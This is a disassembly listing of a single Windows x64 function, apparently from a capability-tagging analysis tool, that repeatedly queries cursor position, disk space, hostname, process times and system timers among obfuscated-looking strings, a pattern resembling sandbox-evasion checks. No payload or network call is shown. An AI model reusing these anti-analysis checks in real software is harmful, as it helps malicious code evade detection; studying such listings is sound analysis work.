Function at 0x140011b58
Capabilities:
Check for unmoving mouse cursor
Get disk size
Get hostname

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x8f90]
mov eax, 0x9090
call fcn.140034d80
sub rsp, rax
movaps xmmword [rsp + 0x9080], xmm6
mov rax, qword [0x140077100]
xor rax, rsp
mov qword [rbp + 0x8f70], rax
mov r12, rdx
mov rdi, rcx
mov qword [rbp + 0x388], rcx
mov qword [rbp + 0x348], rdx
xor r15d, r15d
mov dword [rsp + 0x40], r15d
lea r14d, [r15 + 1]
mov byte [rcx + 0xa0], r14b
mov r13d, 0x400
mov r8d, r13d
xor edx, edx
lea rcx, [rbp + 0x1b70]
call fcn.140059690
lea r9, [rbp + 0x1168]
lea r8, [rbp + 0x1170]
lea rdx, [rbp + 0x1178]
lea rcx, [0x14005dfa8]
call qword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
lea rcx, [rbp + 0x1630]
call qword [sym.imp.KERNEL32.dll_GetSystemTime]
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, r14d
mov edx, 0x80000000
lea rcx, str.Gvvabo.txt
call qword [sym.imp.KERNEL32.dll_CreateFileW]
or rsi, 0xffffffffffffffff
cmp rax, rsi
je 0x140011c42
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xorps xmm0, xmm0
movups xmmword [rbp + 0xa98], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xaa8], xmm1
mov r8d, 6
lea rdx, str.jQ58AP
lea rcx, [rbp + 0xa98]
call fcn.14000192c
lea rdx, [rbp + 0xa98]
cmp qword [rbp + 0xab0], 0xf
cmova rdx, qword [rbp + 0xa98]
mov r8d, 0x723feba
lea rcx, str._s:__d
call fcn.1400184d4
lea rcx, [rbp + 0xa98]
call fcn.140005e28
lea rcx, [rbp + 0x1730]
call qword [sym.imp.KERNEL32.dll_GetSystemTime]
lea r9, [rbp + 0x1180]
lea r8, [rbp + 0x1188]
lea rdx, [rbp + 0x1190]
lea rcx, [0x14005dfa8]
call qword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
mov ebx, 0x10
mov dword [rbp + 0x3a0], ebx
lea rdx, [rbp + 0x3a0]
lea rcx, [rbp + 0x1770]
call qword [sym.imp.KERNEL32.dll_GetComputerNameW]
lea r9, [rbp + 0x1198]
lea r8, [rbp + 0x11a0]
lea rdx, [rbp + 0x11a8]
lea rcx, [0x14005dfa8]
call qword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
mov dword [rbp + 0x3a4], ebx
lea rdx, [rbp + 0x3a4]
lea rcx, [rbp + 0x1790]
call qword [sym.imp.KERNEL32.dll_GetComputerNameW]
lea edx, [rbx - 8]
lea rcx, [rbp + 0x11b0]
call qword [sym.imp.WINMM.dll_timeGetDevCaps]
test eax, eax
jne 0x140011d55
mov ecx, r14d
call qword [sym.imp.WINMM.dll_timeBeginPeriod]
mov ecx, r14d
call qword [sym.imp.WINMM.dll_timeEndPeriod]
lea rcx, [rbp + 0x1740]
call qword [sym.imp.KERNEL32.dll_GetSystemTime]
mov r8, r13
xor edx, edx
lea rcx, [rbp + 0x1f70]
call fcn.140059690
lea rcx, [rbp + 0x1750]
call qword [sym.imp.KERNEL32.dll_GetSystemTime]
mov r8, r13
xor edx, edx
lea rcx, [rbp + 0x2370]
call fcn.140059690
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov r8d, eax
xor edx, edx
mov ecx, r13d
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x140011de0
lea rax, [rbp + 0x11b8]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x11c0]
lea r8, [rbp + 0x11c8]
lea rdx, [rbp + 0x11d8]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcessTimes]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rbp + 0x1760]
call qword [sym.imp.KERNEL32.dll_GetSystemTime]
mov rcx, qword [r12]
call fcn.14000c820
cmp al, 0x21
jne 0x140012a4f
mov r8b, 2
lea rdx, [rbp + 0x248]
mov rcx, qword [r12]
call fcn.14000c57c
nop
lea rdx, [rbp + 0x3c0]
mov rcx, qword [rax]
call fcn.14000c874
nop
lea rcx, [rbp + 0x248]
call fcn.140001380
xorps xmm0, xmm0
movups xmmword [rbp + 0x3e0], xmm0
lea rcx, [rbp + 0x3e0]
call fcn.140009ee4
nop
mov edx, 8
lea rcx, [rbp + 0x11e0]
call qword [sym.imp.WINMM.dll_timeGetDevCaps]
test eax, eax
jne 0x140011e6d
mov ecx, r14d
call qword [sym.imp.WINMM.dll_timeBeginPeriod]
mov ecx, r14d
call qword [sym.imp.WINMM.dll_timeEndPeriod]
mov edx, 8
lea rcx, [rbp + 0x11e8]
call qword [sym.imp.WINMM.dll_timeGetDevCaps]
test eax, eax
jne 0x140011e95
mov ecx, r14d
call qword [sym.imp.WINMM.dll_timeBeginPeriod]
mov ecx, r14d
call qword [sym.imp.WINMM.dll_timeEndPeriod]
xorps xmm0, xmm0
movups xmmword [rbp + 0xab8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xac8], xmm1
mov r8d, 4
lea rdx, str.5Rdq
lea rcx, [rbp + 0xab8]
call fcn.14000192c
lea rdx, [rbp + 0xab8]
cmp qword [rbp + 0xad0], 0xf
cmova rdx, qword [rbp + 0xab8]
mov r8d, 0x2b55117f
lea rcx, str._s:__d
call fcn.1400184d4
lea rcx, [rbp + 0xab8]
call fcn.140005e28
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov r8d, eax
xor edx, edx
mov ecx, r13d
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x140011f47
lea rax, [rbp + 0x11f0]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x11f8]
lea r8, [rbp + 0x1200]
lea rdx, [rbp + 0x1208]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcessTimes]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, 8
mov edx, ebx
lea rcx, [rbp + 0x1210]
call qword [sym.imp.WINMM.dll_timeGetDevCaps]
test eax, eax
jne 0x140011f71
mov ecx, r14d
call qword [sym.imp.WINMM.dll_timeBeginPeriod]
mov ecx, r14d
call qword [sym.imp.WINMM.dll_timeEndPeriod]
xorps xmm0, xmm0
movups xmmword [rbp + 0x538], xmm0
mov qword [rbp + 0x548], r15
mov qword [rbp + 0x550], r15
mov r8, rbx
lea rdx, str.MyJLonCM
lea rcx, [rbp + 0x538]
call fcn.14000192c
nop
lea rdx, [rbp + 0x538]
cmp qword [rbp + 0x550], 0xf
cmova rdx, qword [rbp + 0x538]
mov r8, qword [rbp + 0x548]
lea rcx, [0x140079600]
call fcn.14000d8a0
mov edx, 0x37cfa7b6
mov rcx, rax
call fcn.14000e914
mov rcx, rax
call fcn.14000de34
nop
lea rcx, [rbp + 0x538]
call fcn.140005e28
mov edx, ebx
lea rcx, [rbp + 0x1218]
call qword [sym.imp.WINMM.dll_timeGetDevCaps]
test eax, eax
jne 0x140012011
mov ecx, r14d
call qword [sym.imp.WINMM.dll_timeBeginPeriod]
mov ecx, r14d
call qword [sym.imp.WINMM.dll_timeEndPeriod]
mov ebx, 0x10
mov dword [rbp + 0x3a8], ebx
lea rdx, [rbp + 0x3a8]
lea rcx, [rbp + 0x17b0]
call qword [sym.imp.KERNEL32.dll_GetComputerNameW]
mov dword [rbp + 0x3ac], ebx
lea rdx, [rbp + 0x3ac]
lea rcx, [rbp + 0x17d0]
call qword [sym.imp.KERNEL32.dll_GetComputerNameW]
lea rcx, [rbp + 0x1220]
call qword [sym.imp.USER32.dll_GetCursorPos]
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, r14d
mov edx, 0x80000000
lea rcx, str.pGU0.txt
call qword [sym.imp.KERNEL32.dll_CreateFileW]
cmp rax, rsi
je 0x140012092
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov r8d, eax
xor edx, edx
mov ecx, r13d
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x1400120e1
lea rax, [rbp + 0x1228]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x1230]
lea r8, [rbp + 0x1238]
lea rdx, [rbp + 0x1240]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcessTimes]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xorps xmm0, xmm0
movups xmmword [rbp + 0x558], xmm0
mov qword [rbp + 0x568], r15
mov qword [rbp + 0x570], r15
mov r8d, 9
lea rdx, str.DIdt3AGRN
lea rcx, [rbp + 0x558]
call fcn.14000192c
nop
lea rdx, [rbp + 0x558]
cmp qword [rbp + 0x570], 0xf
cmova rdx, qword [rbp + 0x558]
mov r8, qword [rbp + 0x568]
lea rcx, [0x140079600]
call fcn.14000d8a0
mov edx, 0x2e0fe559
mov rcx, rax
call fcn.14000e914
mov rcx, rax
call fcn.14000de34
nop
lea rcx, [rbp + 0x558]
call fcn.140005e28
lea rcx, [rbp + 0x1248]
call qword [sym.imp.USER32.dll_GetCursorPos]
xorps xmm0, xmm0
movups xmmword [rbp + 0x578], xmm0
mov qword [rbp + 0x588], r15
mov qword [rbp + 0x590], r15
mov r8d, 6
lea rdx, str.louIE7
lea rcx, [rbp + 0x578]
call fcn.14000192c
nop
lea rdx, [rbp + 0x578]
cmp qword [rbp + 0x590], 0xf
cmova rdx, qword [rbp + 0x578]
mov r8, qword [rbp + 0x588]
lea rcx, [0x140079600]
call fcn.14000d8a0
mov edx, 0x84089f5
mov rcx, rax
call fcn.14000e914
mov rcx, rax
call fcn.14000de34
nop
lea rcx, [rbp + 0x578]
call fcn.140005e28
xorps xmm0, xmm0
movups xmmword [rbp + 0x598], xmm0
mov qword [rbp + 0x5a8], r15
mov qword [rbp + 0x5b0], r15
mov r8d, 4
lea rdx, str.W3Vr
lea rcx, [rbp + 0x598]
call fcn.14000192c
nop
lea rdx, [rbp + 0x598]
cmp qword [rbp + 0x5b0], 0xf
cmova rdx, qword [rbp + 0x598]
mov r8, qword [rbp + 0x5a8]
lea rcx, [0x140079600]
call fcn.14000d8a0
mov edx, 0x30d1219c
mov rcx, rax
call fcn.14000e914
mov rcx, rax
call fcn.14000de34
nop
lea rcx, [rbp + 0x598]
call fcn.140005e28
lea r9, [rbp + 0x1250]
lea r8, [rbp + 0x1258]
lea rdx, [rbp + 0x1260]
lea rcx, [0x14005dfa8]
call qword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
cmp byte [0x140078ed0], r15b
je 0x140012480
xorps xmm0, xmm0
movups xmmword [rbp + 0x30], xmm0
mov edi, 0x88
mov ecx, edi
call fcn.140034bc0
mov rbx, rax
mov qword [rbp + 0x378], rax
test rax, rax
je 0x1400122d2
mov r8d, edi
xor edx, edx
mov rcx, rax
call fcn.140059690
mov dl, 0x12
mov rcx, rbx
call fcn.14000b560
jmp 0x1400122d5
mov rax, r15
mov rdx, rax
lea rcx, [rbp + 0x30]
call fcn.14000d340
nop
mov rcx, rdi
call fcn.140034bc0
mov rbx, rax
mov qword [rbp + 0x378], rax
test rax, rax
je 0x14001231d
mov r8, rdi
xor edx, edx
mov rcx, rax
call fcn.140059690
mov r9d, r14d
lea r8, [0x14005e144]
mov dl, r14b
mov rcx, rbx
call fcn.14000b67c
jmp 0x140012320
mov rax, r15
mov rdx, rax
lea rcx, [rbp + 0x368]
call fcn.14000d340
mov rdx, rax
mov rbx, qword [rbp + 0x30]
mov rcx, rbx
call fcn.14000bc24
cmp qword [0x140078f20], r15
je 0x1400123a9
mov rcx, rdi
call fcn.140034bc0
mov rdi, rax
mov qword [rbp + 0x378], rax
test rax, rax
je 0x140012387
xor edx, edx
mov r8d, 0x88
mov rcx, rax
call fcn.140059690
mov r9d, 0x10
mov r8, qword [0x140078f20]
mov dl, 2
mov rcx, rdi
call fcn.14000b67c
jmp 0x14001238a
mov rax, r15
mov rdx, rax
lea rcx, [rbp + 0x338]
call fcn.14000d340
mov rdx, rax
mov rcx, rbx
call fcn.14000bc24
mov edi, 0x88
mov rcx, rdi
call fcn.140034bc0
mov rdi, rax
mov qword [rbp + 0x378], rax
test rax, rax
je 0x140012428
xor edx, edx
mov r8d, 0x88
mov rcx, rax
call fcn.140059690
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x1d0], xmm0
mov rax, qword [rbp + 0x3e8]
test rax, rax
je 0x1400123f0
lock add dword [rax + 8], r14d
mov rbx, qword [rbp + 0x30]
movaps xmm0, xmmword [rbp + 0x3e0]
movdqa xmmword [rbp + 0x1d0], xmm0
lea r8, [rbp + 0x1d0]
lea rdx, [rbp + 0x298]
lea rcx, [0x140078ed0]
call fcn.14002969c
mov r8, rax
mov dl, 0x10
mov rcx, rdi
call fcn.14000b958
jmp 0x14001242b
mov rax, r15
mov rdx, rax
lea rcx, [rbp + 0x220]
call fcn.14000d340
mov rdx, rax
mov rcx, rbx
call fcn.14000bc24
lea rdx, [rbp + 0x200]
mov rcx, rbx
call fcn.14000bfec
mov rdx, rax
lea rcx, [rbp + 0x3e0]
call fcn.14000e8ac
lea rcx, [rbp + 0x200]
call fcn.140001380
nop
lea rcx, [rbp + 0x30]
call fcn.140001380
mov rdi, qword [rbp + 0x388]
mov edx, 8
lea rcx, [rbp + 0x1268]
call qword [sym.imp.WINMM.dll_timeGetDevCaps]
test eax, eax
jne 0x1400124a8
mov ecx, r14d
call qword [sym.imp.WINMM.dll_timeBeginPeriod]
mov ecx, r14d
call qword [sym.imp.WINMM.dll_timeEndPeriod]
xorps xmm0, xmm0
movups xmmword [rbp + 0xad8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xae8], xmm1
mov r8d, 3
lea rdx, [0x14005e204]
lea rcx, [rbp + 0xad8]
call fcn.14000192c
lea rdx, [rbp + 0xad8]
cmp qword [rbp + 0xaf0], 0xf
cmova rdx, qword [rbp + 0xad8]
mov r8d, 0x18e0518
lea rcx, str._s:__d
call fcn.1400184d4
lea rcx, [rbp + 0xad8]
call fcn.140005e28
xorps xmm0, xmm0
movups xmmword [rbp + 0x5b8], xmm0
mov qword [rbp + 0x5c8], r15
mov qword [rbp + 0x5d0], r15
mov r8d, 5
lea rdx, str.E6Idn
lea rcx, [rbp + 0x5b8]
call fcn.14000192c
nop
lea rdx, [rbp + 0x5b8]
cmp qword [rbp + 0x5d0], 0xf
cmova rdx, qword [rbp + 0x5b8]
mov r8, qword [rbp + 0x5c8]
lea rcx, [0x140079600]
call fcn.14000d8a0
mov edx, 0x1859d957
mov rcx, rax
call fcn.14000e914
mov rcx, rax
call fcn.14000de34
nop
lea rcx, [rbp + 0x5b8]
call fcn.140005e28
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov r8d, eax
xor edx, edx
mov ecx, r13d
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x1400125d8
lea rax, [rbp + 0x1270]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x1278]
lea r8, [rbp + 0x1280]
lea rdx, [rbp + 0x1288]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcessTimes]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, 0x10
mov dword [rbp + 0x3b0], ebx
lea rdx, [rbp + 0x3b0]
lea rcx, [rbp + 0x17f0]
call qword [sym.imp.KERNEL32.dll_GetComputerNameW]
mov dword [rbp + 0x3b4], ebx
lea rdx, [rbp + 0x3b4]
lea rcx, [rbp + 0x1810]
call qword [sym.imp.KERNEL32.dll_GetComputerNameW]
lea r9, [rbp + 0x1290]
lea r8, [rbp + 0x1298]
lea rdx, [rbp + 0x12a0]
lea rcx, [0x14005dfa8]
call qword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
xorps xmm0, xmm0
movups xmmword [rbp + 0xaf8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xb08], xmm1
lea r8d, [rbx - 0xe]
lea rdx, [0x14005e210]
lea rcx, [rbp + 0xaf8]
call fcn.14000192c
lea rdx, [rbp + 0xaf8]
cmp qword [rbp + 0xb10], 0xf
cmova rdx, qword [rbp + 0xaf8]
mov r8d, 0x31dbbe2c
lea rcx, str._s:__d
call fcn.1400184d4
lea rcx, [rbp + 0xaf8]
call fcn.140005e28
mov r8, r13
xor edx, edx
lea rcx, [rbp + 0x2770]
call fcn.140059690
mov dword [rbp + 0x3b8], ebx
lea rdx, [rbp + 0x3b8]
lea rcx, [rbp + 0x1830]
call qword [sym.imp.KERNEL32.dll_GetComputerNameW]
lea edx, [rbx - 8]
lea rcx, [rbp + 0x12a8]
call qword [sym.imp.WINMM.dll_timeGetDevCaps]
test eax, eax
jne 0x1400126e5
mov ecx, r14d
call qword [sym.imp.WINMM.dll_timeBeginPeriod]
mov ecx, r14d
call qword [sym.imp.WINMM.dll_timeEndPeriod]
lea r9, [rbp + 0x12b0]
lea r8, [rbp + 0x12b8]
lea rdx, [rbp + 0x12c0]
lea rcx, [0x14005dfa8]
call qword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov r8d, eax
xor edx, edx
mov ecx, r13d
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x140012756
lea rax, [rbp + 0x12c8]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x12d0]
lea r8, [rbp + 0x12d8]
lea rdx, [rbp + 0x12e0]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcessTimes]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rbp + 0x1580]
call qword [sym.imp.KERNEL32.dll_GetSystemTime]
mov dword [rbp + 0x3bc], 0x10
lea rdx, [rbp + 0x3bc]
lea rcx, [rbp + 0x1850]
call qword [sym.imp.KERNEL32.dll_GetComputerNameW]
mov edx, 8
lea rcx, [rbp + 0x12e8]
call qword [sym.imp.WINMM.dll_timeGetDevCaps]
test eax, eax
jne 0x1400127a9
mov ecx, r14d
call qword [sym.imp.WINMM.dll_timeBeginPeriod]
mov ecx, r14d
call qword [sym.imp.WINMM.dll_timeEndPeriod]
lea r9, [rbp + 0x12f0]
lea r8, [rbp + 0x12f8]
lea rdx, [rbp + 0x1300]
lea rcx, [0x14005dfa8]
call qword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
xorps xmm0, xmm0
movups xmmword [rbp - 0x70], xmm0
mov ecx, 0x88
call fcn.140034bc0
mov rbx, rax
mov qword [rsp + 0x50], rax
test rax, rax
je 0x140012805
xor edx, edx
mov r8d, 0x88
mov rcx, rax
call fcn.140059690
mov dl, 0x21
mov rcx, rbx
call fcn.14000b560
jmp 0x140012808
mov rax, r15
mov rdx, rax
lea rcx, [rbp - 0x70]
call fcn.14000d340
nop
xorps xmm0, xmm0
movups xmmword [rbp - 0x10], xmm0
mov ecx, 0x88
call fcn.140034bc0
mov rbx, rax
mov qword [rsp + 0x50], rax
test rax, rax
je 0x14001285a
xor edx, edx
mov r8d, 0x88
mov rcx, rax
call fcn.140059690
mov r9d, r14d
lea r8, [0x14005e214]
mov dl, r14b
mov rcx, rbx
call fcn.14000b67c
jmp 0x14001285d
mov rax, r15
mov rdx, rax
lea rcx, [rbp - 0x10]
call fcn.14000d340
nop
xorps xmm0, xmm0
movups xmmword [rbp], xmm0
mov ecx, 0x88
call fcn.140034bc0
mov rbx, rax
mov qword [rsp + 0x50], rax
test rax, rax
je 0x1400128b1
xor edx, edx
mov r8d, 0x88
mov rcx, rax
call fcn.140059690
mov r9d, 4
lea r8, [rbp + 0x3c0]
mov dl, 2
mov rcx, rbx
call fcn.14000b67c
jmp 0x1400128b4
mov rax, r15
mov rdx, rax
lea rcx, [rbp]
call fcn.14000d340
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x10], xmm0
mov ecx, 0x88
call fcn.140034bc0
mov rbx, rax
mov qword [rsp + 0x50], rax
test rax, rax
je 0x14001292d
xor edx, edx
mov r8d, 0x88
mov rcx, rax
call fcn.140059690
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x1e0], xmm0
mov rax, qword [rbp + 0x3e8]
test rax, rax
je 0x14001290b
lock add dword [rax + 8], r14d
movaps xmm0, xmmword [rbp + 0x3e0]
movdqa xmmword [rbp + 0x1e0], xmm0
lea r8, [rbp + 0x1e0]
mov dl, 4
mov rcx, rbx
call fcn.14000b958
jmp 0x140012930
mov rax, r15
mov rdx, rax
lea rcx, [rbp + 0x10]
call fcn.14000d340
nop
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x190], xmm0
mov rax, qword [rbp - 8]
test rax, rax
je 0x140012956
lock add dword [rax + 8], r14d
movaps xmm0, xmmword [rbp - 0x10]
movdqa xmmword [rbp + 0x190], xmm0
lea rdx, [rbp + 0x190]
mov rbx, qword [rbp - 0x70]
mov rcx, rbx
call fcn.14000bc24
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x1a0], xmm0
mov rax, qword [rbp + 8]
test rax, rax
je 0x140012992
lock add dword [rax + 8], r14d
mov rbx, qword [rbp - 0x70]
movaps xmm0, xmmword [rbp]
movdqa xmmword [rbp + 0x1a0], xmm0
lea rdx, [rbp + 0x1a0]
mov rcx, rbx
call fcn.14000bc24
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x1b0], xmm0
mov rax, qword [rbp + 0x18]
test rax, rax
je 0x1400129ca
lock add dword [rax + 8], r14d
mov rbx, qword [rbp - 0x70]
movaps xmm0, xmmword [rbp + 0x10]
movdqa xmmword [rbp + 0x1b0], xmm0
lea rdx, [rbp + 0x1b0]
mov rcx, rbx
call fcn.14000bc24
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x1c0], xmm0
mov rax, qword [rbp - 0x68]
test rax, rax
je 0x1400129fe
lock add dword [rax + 8], r14d
movaps xmm0, xmmword [rbp - 0x70]
movdqa xmmword [rbp + 0x1c0], xmm0
lea rdx, [rbp + 0x1c0]
mov rcx, qword [rdi + 8]
call fcn.14002d078
nop
lea rcx, [rbp + 0x10]
call fcn.140001380
nop
lea rcx, [rbp]
call fcn.140001380
nop
lea rcx, [rbp - 0x10]
call fcn.140001380
nop
lea rcx, [rbp - 0x70]
call fcn.140001380
nop
lea rcx, [rbp + 0x3e0]
call fcn.140001380
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov r8d, eax
xor edx, edx
mov ecx, r13d
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x140012a9e
lea rax, [rbp + 0x1308]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x1310]
lea r8, [rbp + 0x1318]
lea rdx, [rbp + 0x1320]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcessTimes]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xorps xmm0, xmm0
movups xmmword [rbp + 0xb18], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xb28], xmm1
mov r8d, 0xa
lea rdx, str.IyiUAH9H2e
lea rcx, [rbp + 0xb18]
call fcn.14000192c
lea rdx, [rbp + 0xb18]
cmp qword [rbp + 0xb30], 0xf
cmova rdx, qword [rbp + 0xb18]
mov r8d, 0xc1109b3
lea rcx, str._s:__d
call fcn.1400184d4
lea rcx, [rbp + 0xb18]
call fcn.140005e28
lea r9, [rbp + 0x1328]
lea r8, [rbp + 0x1330]
lea rdx, [rbp + 0x1338]
lea rcx, [0x14005dfa8]
call qword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
mov r8, r13
xor edx, edx
lea rcx, [rbp + 0x2b70]
call fcn.140059690
lea rcx, [rbp + 0x1590]
call qword [sym.imp.KERNEL32.dll_GetSystemTime]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov r8d, eax
xor edx, edx
mov ecx, r13d
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x140012b90
lea rax, [rbp + 0x1340]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x1348]
lea r8, [rbp + 0x1350]
lea rdx, [rbp + 0x1358]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcessTimes]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [rbp + 0x3c4], 0x10
lea rdx, [rbp + 0x3c4]
lea rcx, [rbp + 0x1870]
call qword [sym.imp.KERNEL32.dll_GetComputerNameW]
mov ebx, 8
mov edx, ebx
lea rcx, [rbp + 0x1360]
call qword [sym.imp.WINMM.dll_timeGetDevCaps]
test eax, eax
jne 0x140012bd8
mov ecx, r14d
call qword [sym.imp.WINMM.dll_timeBeginPeriod]
mov ecx, r14d
call qword [sym.imp.WINMM.dll_timeEndPeriod]
xorps xmm0, xmm0
movups xmmword [rbp + 0xb38], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xb48], xmm1
mov r8, rbx
lea rdx, str.t016Kgdx
lea rcx, [rbp + 0xb38]
call fcn.14000192c
lea rdx, [rbp + 0xb38]
cmp qword [rbp + 0xb50], 0xf
cmova rdx, qword [rbp + 0xb38]
mov r8d, 0x39a925e9
lea rcx, str._s:__d
call fcn.1400184d4
lea rcx, [rbp + 0xb38]
call fcn.140005e28
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov r8d, eax
xor edx, edx
mov ecx, r13d
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x140012c87
lea rax, [rbp + 0x1368]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x1370]
lea r8, [rbp + 0x1378]
lea rdx, [rbp + 0x1380]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcessTimes]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, 8
lea rcx, [rbp + 0x1388]
call qword [sym.imp.WINMM.dll_timeGetDevCaps]
test eax, eax
jne 0x140012caf
mov ecx, r14d
call qword [sym.imp.WINMM.dll_timeBeginPeriod]
mov ecx, r14d
call qword [sym.imp.WINMM.dll_timeEndPeriod]
mov dword [rbp + 0x3c8], 0x10
lea rdx, [rbp + 0x3c8]
lea rcx, [rbp + 0x1890]
call qword [sym.imp.KERNEL32.dll_GetComputerNameW]
lea rcx, [rbp + 0x1390]
call qword [sym.imp.USER32.dll_GetCursorPos]
mov edx, 8
lea rcx, [rbp + 0x1398]
call qword [sym.imp.WINMM.dll_timeGetDevCaps]
test eax, eax
jne 0x140012d02
mov ecx, r14d
call qword [sym.imp.WINMM.dll_timeBeginPeriod]
mov ecx, r14d
call qword [sym.imp.WINMM.dll_timeEndPeriod]
xorps xmm0, xmm0
movups xmmword [rbp + 0xa78], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xa88], xmm1
mov r8d, 7
lea rdx, str.vNHC40K
lea rcx, [rbp + 0xa78]
call fcn.14000192c
lea rdx, [rbp + 0xa78]
cmp qword [rbp + 0xa90], 0xf
cmova rdx, qword [rbp + 0xa78]
mov r8d, 0x36c5c1ed
lea rcx, str._s:__d
call fcn.1400184d4
lea rcx, [rbp + 0xa78]
call fcn.140005e28
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov r8d, eax
xor edx, edx
mov ecx, r13d
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x140012db4
lea rax, [rbp + 0x13a0]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x13a8]
lea r8, [rbp + 0x13b0]
lea rdx, [rbp + 0x13b8]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcessTimes]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rbp + 0x13c0]
call qword [sym.imp.USER32.dll_GetCursorPos]
mov rcx, qword [r12]
call fcn.14000c820
cmp al, 0x22
jne 0x1400141ce
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, r14d
mov edx, 0x80000000
lea rcx, str.z.txt
call qword [sym.imp.KERNEL32.dll_CreateFileW]
cmp rax, rsi
je 0x140012e0d
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rbp + 0x15a0]
call qword [sym.imp.KERNEL32.dll_GetSystemTime]
xorps xmm0, xmm0
movups xmmword [rbp + 0x5d8], xmm0
mov qword [rbp + 0x5e8], r15
mov qword [rbp + 0x5f0], r15
mov r8d, 6
lea rdx, str.wLzE5h
lea rcx, [rbp + 0x5d8]
call fcn.14000192c
nop
lea rdx, [rbp + 0x5d8]
cmp qword [rbp + 0x5f0], 0xf
cmova rdx, qword [rbp + 0x5d8]
mov r8, qword [rbp + 0x5e8]
lea rcx, [0x140079600]
call fcn.14000d8a0
mov edx, 0x17bef141
mov rcx, rax
call fcn.14000e914
mov rcx, rax
call fcn.14000de34
nop
lea rcx, [rbp + 0x5d8]
call fcn.140005e28
mov r8, r13
xor edx, edx
lea rcx, [rbp + 0x2f70]
call fcn.140059690
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
